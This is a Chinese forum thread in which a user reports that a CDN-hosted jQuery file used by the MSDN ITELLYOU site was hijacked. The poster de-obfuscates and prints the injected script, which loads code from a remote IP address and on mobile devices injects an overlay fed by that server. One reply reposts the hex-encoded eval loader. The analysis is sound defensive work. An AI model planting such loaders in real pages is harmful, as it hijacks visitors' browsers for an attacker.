MSDN ITELLYOU 网站被劫持挂马?

2018-12-24 09:47:20 +08:00
 BOYPT

今天发现内容菜单无法打开,打开 F12 发现 jQuery 对象报错,看了下 Network 发现 jquery 文件内容变成可疑内容:

https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js

终端内把可疑代码的 eval 换成 console.log ,排版看到内容如下

var c = function(u) {
        var d = document,
            e = d.createElement('script');
        e.type = 'text/javascript';
        e.src = u;
        d.getElementsByTagName('head')[0].appendChild(e);
    },
    s = 'http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2';
if ((typeof M7f == 'undefined') && (!navigator.platform.match(/Win32|Win64/i))) c('http://120.79.33.84:1616/mb.php?id=lp01');
if ((typeof M7f == 'undefined') || (M7f != s)) {
    M7f = s;
    c(s + Math.random());
}

看到挂马脚本还会插回一个内容正常的 jQuery 外,对于非 win 平台还加载一次 120.79.33.84:1616,请求一下看看:

!(function() {
    if (typeof MB7F2 == 'undefined') {
        MB7F2 = 1;
        var head = document.getElementsByTagName('head')[0];
        var script = document.createElement('script');
        script.type = 'text/javascript';
        script.onload = script.onreadystatechange = function() {
            if (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") {
                var isMobile = {
                    Win: function() {
                        return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false
                    },
                    Qqb: function() {
                        return navigator.userAgent.match(/QQ/i) ? true : false
                    },
                    Phone: function() {
                        return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false
                    }
                };
                var bz = 0;
                if (isMobile.Win() || isMobile.Qqb()) {
                    bz = 0
                } else if (isMobile.Phone()) {
                    var slt = Math.floor(Math.random() * 1000000) + 1000;
                    bz = 1;
                    var nd = document.createElement("div");
                    nd.id = slt;
                    nd.style.position = "fixed";
                    nd.style.zIndex = "9999";
                    nd.style.width = "100%";
                    nd.style.height = "auto";
                    nd.style.bottom = "-6px";
                    nd.style.right = "0px";
                    document.body.insertBefore(nd, document.body.firstChild);
                    var slt = '#' + slt
                }
                var tu = "http://120.79.33.84:1616/mb1.php?id=lp01";
                var setcookies = function() {
                    var exp = new Date();
                    var value = exp.getTime();
                    exp.setTime(exp.getTime() + 3000 * 1000);
                    document.cookie = "mblast=" + escape(value) + ";expires=" + exp.toGMTString()
                };
                var getCookie = function(d) {
                    var f = document.cookie;
                    var g = f.split("; ");
                    for (var e = 0; e < g.length; e++) {
                        var c = g[e].split("=");
                        if (c[0] == d) {
                            return c[1]
                        }
                    }
                    return 0
                };
                var mbbt = new Date();
                mbbt = (mbbt.getTime() - getCookie("mblast")) / 1000;
                if ((bz != 0) && (mbbt > 81)) {
                    $(document).ready(function() {
                        $.ajax({
                            type: 'get',
                            url: tu + "&new=" + Math.random() + "&mblast=" + mbbt,
                            dataType: 'jsonp',
                            jsonp: "jsoncallback",
                            success: function(data) {
                                $(slt).html(data);
                                setcookies()
                            },
                            error: function() {}
                        })
                    })
                }
            }
        };
        script.src = 'http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2';
        head.appendChild(script)
    }
})();

因为 https 访问的,这些 http 地址实际都被挡了,jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN,而入口文件的 jquery.min.js 也是 https 的,而且挂马代码里面也针对性地重新引用 staticfile.org 文件。

因此怀疑是七牛 CDN 内部人员私自加料,或者 CDN 回源过程中被第三方定向劫持。

6820 次点击
所在节点    全球工单系统
36 条回复
chinafeng
2018-12-24 12:28:56 +08:00
@miyuki #17 网宿的锅,跟 jsDelivr 没什么关系
jo32
2018-12-24 12:45:15 +08:00
(function(){var s="76617220633D66756E6374696F6E2875297B76617220643D646F63756D656E742C653D642E637265617465456C656D656E74282773637269707427293B652E747970653D27746578742F6A617661736372697074273B652E7372633D753B642E676574456C656D656E747342795461674E616D6528276865616427295B305D2E617070656E644368696C642865293B7D2C733D27687474703A2F2F63646E2E73746174696366696C652E6F72672F6A71756572792F312E31302E322F6A71756572792E6D696E2E6A733F63636C74313D6E636163686532273B69662828747970656F66204D37663D3D27756E646566696E65642729262628216E6176696761746F722E706C6174666F726D2E6D61746368282F57696E33327C57696E36342F69292929632827687474703A2F2F3132302E37392E33332E38343A313631362F6D622E7068703F69643D6C70303127293B69662828747970656F66204D37663D3D27756E646566696E656427297C7C284D3766213D7329297B4D37663D733B6328732B4D6174682E72616E646F6D2829293B7D",c,r=[],i=0;for(;i<s.length;i+=2){c=parseInt(s.substr(i,2),16);r.push(String.fromCharCode(c));}eval(r.join(""));})();

深圳复现
shawndev
2018-12-24 13:03:52 +08:00
<img src="https://i.loli.net/2018/12/24/5c2068784f8b9.png" alt="屏幕快照 2018-12-24 下午 1.02.17.png" title="屏幕快照 2018-12-24 下午 1.02.17.png" />河南未重现
BOYPT
2018-12-24 13:34:36 +08:00
下午 1 点测试,劫持已经消失。
sneezry
2018-12-24 14:06:13 +08:00
@Les1ie 有一点没太想明白,https 下运营商是不是应该不知道文件后缀?为什么改后缀可以达到目的呢?
Les1ie
2018-12-24 14:10:47 +08:00
@sneezry #25 猜测可能是回源阶段被劫持了,回源阶段只劫持了 js 文件, 改后缀就不会被运营商识别到了叭
venhow
2018-12-24 16:46:39 +08:00
但是里面的点击不了,只是一个大大的红包
chungzhao
2018-12-24 17:59:02 +08:00
佛山联通不行。
MSDN 挺好的,我一直在用它下载系统。
诶,可惜了。。。
EarthChild
2018-12-24 18:30:44 +08:00
http://cdn.staticfile.org/ 我这边居然访问不了。。。没 FQ 啊!
RqPS6rhmP3Nyn3Tm
2018-12-25 01:34:17 +08:00
都 tls 了,除了 canonical name 和端口,路由节点啥都看不到。http 路径包括文件名已经被加密过了
只有可能是回源的问题,回源也上 https 就可以了,不知道这老哥为啥走这么大弯路
@Les1ie
RqPS6rhmP3Nyn3Tm
2018-12-25 01:37:16 +08:00
Tls 全称是 transport layer security 啊(敲黑板
Les1ie
2018-12-25 09:04:58 +08:00
排除问题的阶段只能猜测所有的可能呀:1.回源阶段有问题 2.运营商有没有用了某个浏览器信任的证书做中间人 慢慢排查
Les1ie
2018-12-25 09:07:23 +08:00
现在运营商劫持依然很严重

是不是可以抓出来罪魁祸首,顺带赠送一个非法侵入计算机系统罪
lizheming
2018-12-25 09:35:20 +08:00
@BOYPT ( emmmm, 轻微反驳一下那个一众国产)... https://cdn.baomitu.com 75CDN 目前是已经全部切成 https 回源了的,所以楼主的情况在 75CDN 上不会碰到。
red2dog
2019-01-18 09:57:02 +08:00
遇到同样的问题了,排查了一晚上解决了。。。
Xheldon
2019-09-29 17:37:17 +08:00
北京联通遇到了, 点击左侧的展开菜单没反应
控制台看到是 bootstrap.3.0.3.js 报错, 打开这个文件看起来是文件内容不全导致的
官网下载一个 bootstrap.js 粘贴复制到控制台回车, 再点展开菜单就 OK 了

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/520339

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX